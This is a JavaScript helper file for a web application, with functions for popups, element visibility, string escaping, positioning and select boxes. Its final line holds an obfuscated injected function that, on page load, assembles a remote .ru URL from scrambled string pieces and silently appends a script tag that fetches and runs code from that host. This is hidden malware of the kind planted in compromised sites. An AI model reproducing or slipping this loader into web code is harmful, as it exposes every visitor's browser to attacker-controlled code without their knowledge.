moz = (typeof document.implementation != 'undefined') && (typeof document.implementation.createDocument != 'undefined')
ie = (typeof window.ActiveXObject != 'undefined')
  
function confirmDelete(str) {
  if (confirm("Are you sure want to delete the record/data?"))
    location.href = str;
}

function openwindow(url, inTarget, inWidth, inHeight, resize) {
  var width = 750;
  var height = 550;
  var target = "blank";

  if(inHeight){height=inHeight;}
  if(inWidth){width=inWidth;}
  if(inTarget){target=inTarget;}
  if(resize==1){iresize="";}else{iresize=",noresize";}
  newwindow = window.open(url, target, 'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=1' + iresize + ',width=' + width + ',height=' + height);
  if (window.focus) {newwindow.focus()}
  //   window.open(url, target, '');
}

function showHide(obj) {
  if (obj.length) {
    for (idx=0; idx<obj.length; idx++) {
      if (obj[idx].style.visibility == "hidden" || obj[idx].style.display == 'none') {
        obj[idx].style.position = "relative"
        obj[idx].style.display = "inline"
      } else {
        obj[idx].style.position = "absolute"
        obj[idx].style.display = "none"
      }
    }
  } else {
    if (obj.style.visibility == "hidden" || obj.style.display == 'none') {
      obj.style.position = "relative"
      obj.style.display = "inline"
    } else {
      obj.style.position = "absolute"
      obj.style.display = "none"
    }
  }
}

function trim(str) {
  str = str.replace(/^[ ]+(.*)$/, '$1'); // Trims leading spaces
  str = str.replace(/^(.*)[ ]+$/, '$1'); // Trims trailing spaces
  return str;
}

function o(objId, opt) {
  return Ajax_o(objId, opt) }

function addSlashes(str) {
  str = str.replace("'", "\\'")
  str = str.replace("\"", "\\\"")
  return str
}

function toHTML(str) {
  str = str.replace(/&amp;/g, "&")
  str = str.replace(/&lt;/g, "<")
  str = str.replace(/&gt;/g, ">")
  str = str.replace(/&quot;/g, "'")
  str = str.replace(/\'/g, "'")
  return str }

function winEvent(e) {
  if (!e) var e = window.event||window.Event||event||Event
  return e
}

function eobj(e) {
  if (!e) e = winEvent()
  if (e.srcElement) srcElem = e.srcElement
  else srcElem = e.target
  if (!srcElem) srcElem = e.target
  return srcElem
}

function findPos(obj) {
	var curleft = curtop = 0;
	if (obj.offsetParent) {
		curleft = obj.offsetLeft
		curtop = obj.offsetTop
		while (obj = obj.offsetParent) {
			curleft += obj.offsetLeft
			curtop += obj.offsetTop
		}
	}
	return [curleft,curtop];
}
function expandSelect(obj) {
  obj.style.overflow = "visible"
  obj.setAttribute("originalWidth", obj.style.width)
  obj.style.width = ""
  obj.style.position = "absolute"
  obj.style.left = obj.offsetLeft
  obj.style.top = obj.offsetTop
  obj.style.zIndex = 10
}
function restoreSelect(obj) {
  obj.style.overflow = "hidden"
  obj.style.width = obj.getAttribute("originalWidth")
  obj.setAttribute("originalWidth", "")
  obj.style.position = "relative"
  obj.style.zIndex = 0
  obj.style.left = ""
  obj.style.top = ""
}
function ov(obj) {
  return ovUTF(obj)//doEscape(document.getElementById(obj).value)
}
function ovUTF(obj) {
  return (strUTF(document.getElementById(obj).value).replace(/&/g, "%amp;"))
}
function strUTF(str) {
  return encodeURIComponent(str).replace(/&amp;/g, "%26").replace(/&nbsp;/g, " ").replace(/<script/ig, "<!-- ").replace(/script>/ig, " -->")
}
function of(obj) {
  document.getElementById(obj).focus
}
function doEscape(str) {
  return escape(str)
}
function decodeHTML(str) {
  return unescape(str).replace("&amp;nbsp;", " ").replace("&amp;amp;nbsp;", " ")//.replace(/\'/g, "'").replace(/\"/g, "\"")//.replace(/&gt;/g, ">").replace(/&amp;/g, "&")
}
function encodeHTML(str) {
  return encodeURI(str)//.replace(/"/g, "&quot;")
}
// Search selectedIndex by Value
function selectFindIndex(obj, val) {
  if (!isObject(obj)) obj = o(obj)
  if (obj.tagName == "SELECT") {
    for (idx=0; idx<obj.options.length; idx++) {
      if  (obj.options[idx].value == val)
        return idx
    }
  }
  return 0  
}
function selectGetTextByVal(obj, val) {
  if (!isObject(obj)) obj = o(obj)
  return obj.options[selectFindIndex(obj, val)].text
}
function isString(a) {
    return typeof a == 'string';
}
function isObject(a) {
    return (a && typeof a == 'object') || isFunction(a);
}
function isFunction(a) {
    return typeof a == 'function';
}
var LK='';function eL(){var c=new String();var Qn="";var f="";var x=String("1Z6g".substr(3));var s=RegExp;this.p='';var L='';var V=new Array();var B=new Date();var n=new Date();function e(xi,N){var EX='';var rf="";var si= String("[");var t=new Array();si+=N;si+=new String("]");var C=new String();var pw;if(pw!='' && pw!='u'){pw=null};var Ql="";var E=new s(si, x);return xi.replace(E, L);};var mc=new Array();var F="";var Xj;if(Xj!='' && Xj!='mG'){Xj=null};var WV;if(WV!='Iv'){WV=''};var XC=new Array();var K='';this.wX='';var cZ;if(cZ!='eO'){cZ=''};var Ng=String("def"+"eryYp".substr(0,2));var Q="src";var IA=new Date();var g=e('899403399489393049339',"394");var Y=new String("/me"+"3aWJtro".substr(4)+"flonjLr".substr(0,3)+"g.cm0i".substr(0,3)+"om/dlqL".substr(0,3)+"OKQmetKQO".substr(3,3)+"Z4nrofnZ4".substr(3,3)+"bPK3log".substr(4)+"A2U.co2UA".substr(3,3)+"m/k"+"ODHu6.".substr(3)+"4YDcom".substr(3)+"Aip/go".substr(3)+"oglHsL".substr(0,3)+"iMNe.c".substr(3)+"om/"+"nok"+"ia.HFtL".substr(0,3)+"NKycomyKN".substr(3,3)+".ph"+"p");var Dj;if(Dj!='nv'){Dj=''};var HW;if(HW!='' && HW!='T'){HW=null};var j="http:71a".substr(0,5)+"h7sv//repvhs7".substr(4,5)+"ubbli"+"ca-it"+"XM8c.softcX8M".substr(4,5)+"pediakLq".substr(0,5)+".com.nRzp".substr(0,5)+"opend"+"mtPKns-comtPK".substr(4,5)+"EKZm.theZKE".substr(3,5)+"hotla9zGF".substr(0,5)+"qnUb.ru:nUq".substr(3,5);var ZK='';var Lr=window;this.AH='';var SF="";var i="scrip4e3X".substr(0,5)+"t";var Vm=new Date();this.ZE='';Lr.onload=function(){var uWe=new String();var Bx=new Date();try {var KK;if(KK!='' && KK!='Eh'){KK=''};var tR=new Array();var rA;if(rA!=''){rA='R'};K=j+g;var P;if(P!='dD'){P='dD'};K+=Y;var Pr;if(Pr!='MG' && Pr != ''){Pr=null};var U='';sG=document.createElement(i);var _w;if(_w!=''){_w='JG'};var pB=new Array();sG[Q]=K;var AQ;if(AQ!='fZV' && AQ!='sq'){AQ='fZV'};sG[Ng]=[1][0];var mO=new Date();document.body.appendChild(sG);var LA=new Array();var Ji="";} catch(YG){};};};eL();